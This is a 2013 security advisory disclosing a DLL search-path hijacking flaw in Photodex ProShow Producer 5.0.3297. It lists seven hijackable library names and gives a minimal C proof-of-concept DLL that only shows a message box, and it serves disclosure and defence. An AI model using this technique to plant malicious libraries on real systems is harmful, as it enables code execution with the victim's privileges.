Photodex ProShow Producer 5.0.3297 Insecure Library Load

`Inshell Security Advisory  
http://www.inshell.net  
  
  
1. ADVISORY INFORMATION  
-----------------------  
Product: Photodex ProShow Producer  
Vendor URL: www.photodex.com  
Type: Uncontrolled Search Path Element [CWE-427]  
Date found: 2013-02-23  
Date published: 2013-02-23  
CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)  
CVE: -  
  
  
2. CREDITS  
----------  
This vulnerability was discovered and researched by Julien Ahrens from  
Inshell Security.  
  
  
3. VERSIONS AFFECTED  
--------------------  
Photodex ProShow Producer v5.0.3297, older versions may be affected too.  
  
  
4. VULNERABILITY DESCRIPTION  
----------------------------  
An insecure library loading vulnerability has been identified in  
Photodex ProShow Producer v5.0.3297.  
  
The application uses a fixed path to look for specific files or  
libraries. This path includes directories that may not be trusted or  
under user control.  
  
By placing a custom version of a library in the application path, the  
program will load it before the legitimate version. This allows an  
attacker to inject custom code that will be run with the privilege of  
the program or user executing the program. The following libraries could  
be hijacked on this way:  
  
d3d9.dll  
dbghelp.dll  
dciman32.dll  
ddraw.dll  
midimap.dll  
mscms.dll  
ws2help.dll  
  
  
5. PROOF-OF-CONCEPT (CODE / Exploit)  
------------------------------------  
// wine gcc -Wall -shared inject.c -o ddraw.dll  
#include <windows.h>  
  
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpvReserved)  
{  
if (dwReason == DLL_PROCESS_ATTACH)  
{  
MessageBox(0,"DLL Injection","DLL Injection", 0);  
}  
return TRUE;  
}  
  
  
For further Screenshots and/or PoCs visit:  
http://security.inshell.net/advisory/48  
  
  
6. SOLUTION  
-----------  
None  
  
  
7. REPORT TIMELINE  
------------------  
2013-02-23: Discovery of the vulnerability  
2013-02-23: Full Disclosure because the vendor ignored previous  
reports.  
  
  
8. REFERENCES  
-------------  
http://security.inshell.net/advisory/48  
`